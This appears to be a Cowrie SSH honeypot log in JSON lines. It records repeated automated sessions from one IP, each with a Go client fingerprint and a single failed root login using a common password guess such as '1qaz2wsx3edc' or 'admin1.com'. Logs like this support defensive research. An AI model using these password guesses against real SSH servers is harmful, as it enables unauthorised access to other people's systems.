{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:07.285195Z","src_ip":"60.165.124.241","session":"42a5a2ca025c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789852","message":"login attempt [root/789852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:08.023006Z","src_ip":"60.165.124.241","session":"42a5a2ca025c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:09.278551Z","src_ip":"60.165.124.241","session":"42a5a2ca025c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58666,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bd9226f555a","protocol":"ssh","message":"New connection: 60.165.124.241:58666 (10.17.0.5:22) [session: 8bd9226f555a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:09.537266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:09.542298Z","src_ip":"60.165.124.241","session":"8bd9226f555a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:09.790946Z","src_ip":"60.165.124.241","session":"8bd9226f555a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123456...","message":"login attempt [root/Asd123456...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:10.566096Z","src_ip":"60.165.124.241","session":"8bd9226f555a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:11.831683Z","src_ip":"60.165.124.241","session":"8bd9226f555a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33174,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eaded6eb2e5","protocol":"ssh","message":"New connection: 60.165.124.241:33174 (10.17.0.5:22) [session: 4eaded6eb2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:12.063287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:12.067808Z","src_ip":"60.165.124.241","session":"4eaded6eb2e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:12.309446Z","src_ip":"60.165.124.241","session":"4eaded6eb2e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123Zz","message":"login attempt [root/123123Zz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:13.074966Z","src_ip":"60.165.124.241","session":"4eaded6eb2e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:14.330901Z","src_ip":"60.165.124.241","session":"4eaded6eb2e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36330,"dst_ip":"10.17.0.5","dst_port":22,"session":"de66a43f263f","protocol":"ssh","message":"New connection: 60.165.124.241:36330 (10.17.0.5:22) [session: de66a43f263f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:14.577875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:14.582798Z","src_ip":"60.165.124.241","session":"de66a43f263f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:14.833917Z","src_ip":"60.165.124.241","session":"de66a43f263f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abracadabra","message":"login attempt [root/abracadabra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:16.306599Z","src_ip":"60.165.124.241","session":"de66a43f263f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:17.561075Z","src_ip":"60.165.124.241","session":"de66a43f263f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40158,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1de36582545","protocol":"ssh","message":"New connection: 60.165.124.241:40158 (10.17.0.5:22) [session: e1de36582545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:17.848415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:17.853201Z","src_ip":"60.165.124.241","session":"e1de36582545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:18.123219Z","src_ip":"60.165.124.241","session":"e1de36582545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Su1234567890","message":"login attempt [root/Su1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:19.693769Z","src_ip":"60.165.124.241","session":"e1de36582545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:21.611940Z","src_ip":"60.165.124.241","session":"e1de36582545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44918,"dst_ip":"10.17.0.5","dst_port":22,"session":"6591161d89f6","protocol":"ssh","message":"New connection: 60.165.124.241:44918 (10.17.0.5:22) [session: 6591161d89f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:22.837438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:22.841762Z","src_ip":"60.165.124.241","session":"6591161d89f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:23.090526Z","src_ip":"60.165.124.241","session":"6591161d89f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unreal","message":"login attempt [root/unreal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:23.844197Z","src_ip":"60.165.124.241","session":"6591161d89f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:25.082132Z","src_ip":"60.165.124.241","session":"6591161d89f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49202,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed261be17d9d","protocol":"ssh","message":"New connection: 60.165.124.241:49202 (10.17.0.5:22) [session: ed261be17d9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:25.316554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:25.321077Z","src_ip":"60.165.124.241","session":"ed261be17d9d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:25.559830Z","src_ip":"60.165.124.241","session":"ed261be17d9d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx3edc","message":"login attempt [root/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:26.283028Z","src_ip":"60.165.124.241","session":"ed261be17d9d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:27.521981Z","src_ip":"60.165.124.241","session":"ed261be17d9d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52092,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a8d74d10a1b","protocol":"ssh","message":"New connection: 60.165.124.241:52092 (10.17.0.5:22) [session: 4a8d74d10a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:27.756899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:27.761412Z","src_ip":"60.165.124.241","session":"4a8d74d10a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:27.998959Z","src_ip":"60.165.124.241","session":"4a8d74d10a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spider","message":"login attempt [root/spider] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:28.721126Z","src_ip":"60.165.124.241","session":"4a8d74d10a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:29.961552Z","src_ip":"60.165.124.241","session":"4a8d74d10a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55078,"dst_ip":"10.17.0.5","dst_port":22,"session":"eff0c0735df2","protocol":"ssh","message":"New connection: 60.165.124.241:55078 (10.17.0.5:22) [session: eff0c0735df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:30.196443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:30.201520Z","src_ip":"60.165.124.241","session":"eff0c0735df2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:30.443154Z","src_ip":"60.165.124.241","session":"eff0c0735df2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin1.com","message":"login attempt [root/admin1.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:48:31.163795Z","src_ip":"60.165.124.241","session":"eff0c0735df2","protocol":"ssh"}
